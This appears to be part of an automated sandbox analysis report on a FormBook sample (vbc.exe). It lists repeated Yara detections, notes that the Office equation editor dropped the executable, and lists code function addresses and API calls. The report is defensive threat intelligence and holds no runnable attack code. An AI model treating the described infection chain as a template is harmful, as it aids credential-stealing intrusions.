Source: C:\Users\Public\vbc.exe Code function: 4_2_00404E07 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_00404E07

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 4.2.vbc.exe.510000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.510000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.494095380.00000000095A5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.525306169.0000000000560000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669495000.0000000000330000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.463047286.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669355971.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.463706165.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.669436738.0000000000270000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.525208793.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000001.464395143.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.465187885.0000000000510000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.487044128.00000000095A5000.00000040.00020000.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 4.2.vbc.exe.510000.1.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.vbc.exe.510000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.vbc.exe.510000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.vbc.exe.510000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.494095380.00000000095A5000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.494095380.00000000095A5000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.525306169.0000000000560000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.525306169.0000000000560000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.669495000.0000000000330000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.669495000.0000000000330000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.463047286.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.463047286.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.669355971.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.669355971.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.463706165.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.463706165.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.669436738.0000000000270000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.669436738.0000000000270000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.525208793.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.525208793.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000001.464395143.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000001.464395143.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.465187885.0000000000510000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.465187885.0000000000510000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.487044128.00000000095A5000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.487044128.00000000095A5000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Yara signature match
Source: 4.2.vbc.exe.510000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.vbc.exe.510000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.vbc.exe.510000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.vbc.exe.510000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.527141411.00000000023C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.494095380.00000000095A5000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.494095380.00000000095A5000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.525306169.0000000000560000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.525306169.0000000000560000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.669495000.0000000000330000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.669495000.0000000000330000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.463047286.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.463047286.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.669355971.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.669355971.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.463706165.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.463706165.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.669436738.0000000000270000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.669436738.0000000000270000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.525208793.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.525208793.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000001.464395143.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000001.464395143.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.465187885.0000000000510000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.465187885.0000000000510000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.487044128.00000000095A5000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.487044128.00000000095A5000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 4_2_004030E3 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 4_2_004030E3
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 4_2_00406043 4_2_00406043
Source: C:\Users\Public\vbc.exe Code function: 4_2_00404618 4_2_00404618
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040681A 4_2_0040681A
Source: C:\Users\Public\vbc.exe Code function: 4_2_10012610 4_2_10012610
Source: C:\Users\Public\vbc.exe Code function: 4_2_1000C4AF 4_2_1000C4AF
Source: C:\Users\Public\vbc.exe Code function: 4_2_1000C8C7 4_2_1000C8C7
Source: C:\Users\Public\vbc.exe Code function: 4_2_100130F4 4_2_100130F4
Source: C:\Users\Public\vbc.exe Code function: 4_2_100154FD 4_2_100154FD
Source: C:\Users\Public\vbc.exe Code function: 4_2_1000CCFC 4_2_1000CCFC
Source: C:\Users\Public\vbc.exe Code function: 4_2_1000D131 4_2_1000D131
Source: C:\Users\Public\vbc.exe Code function: 4_2_1001453C 4_2_1001453C
Source: C:\Users\Public\vbc.exe Code function: 4_2_1001174A 4_2_1001174A
Source: C:\Users\Public\vbc.exe Code function: 4_2_10012B82 4_2_10012B82
Source: C:\Users\Public\vbc.exe Code function: 4_2_1000BFBB 4_2_1000BFBB
Source: C:\Users\Public\vbc.exe Code function: 5_2_00401030 5_2_00401030
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041C957 5_2_0041C957
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041D16A 5_2_0041D16A
Source: C:\Users\Public\vbc.exe Code function: 5_2_00401174 5_2_00401174
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041BA0C 5_2_0041BA0C
Source: C:\Users\Public\vbc.exe Code function: 5_2_004012FB 5_2_004012FB
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041BC66 5_2_0041BC66
Source: C:\Users\Public\vbc.exe Code function: 5_2_00408C7B 5_2_00408C7B
Source: C:\Users\Public\vbc.exe Code function: 5_2_00408C80 5_2_00408C80
Source: C:\Users\Public\vbc.exe Code function: 5_2_00402D90 5_2_00402D90
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041C5A7 5_2_0041C5A7
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041C6C2 5_2_0041C6C2
Source: C:\Users\Public\vbc.exe Code function: 5_2_00402FB0 5_2_00402FB0
Source: C:\Users\Public\vbc.exe Code function: 5_2_007BD06D 5_2_007BD06D
Source: C:\Users\Public\vbc.exe Code function: 5_2_0075905A 5_2_0075905A
Source: C:\Users\Public\vbc.exe Code function: 5_2_00743040 5_2_00743040
Source: C:\Users\Public\vbc.exe Code function: 5_2_0076D005 5_2_0076D005
Source: C:\Users\Public\vbc.exe Code function: 5_2_0073E0C6 5_2_0073E0C6
Source: C:\Users\Public\vbc.exe Code function: 5_2_007E1238 5_2_007E1238
Source: C:\Users\Public\vbc.exe Code function: 5_2_0073E2E9 5_2_0073E2E9
Source: C:\Users\Public\vbc.exe Code function: 5_2_0078A37B 5_2_0078A37B
Source: C:\Users\Public\vbc.exe Code function: 5_2_00747353 5_2_00747353
Source: C:\Users\Public\vbc.exe Code function: 5_2_00742305 5_2_00742305
Source: C:\Users\Public\vbc.exe Code function: 5_2_007663DB 5_2_007663DB
Source: C:\Users\Public\vbc.exe Code function: 5_2_0073F3CF 5_2_0073F3CF
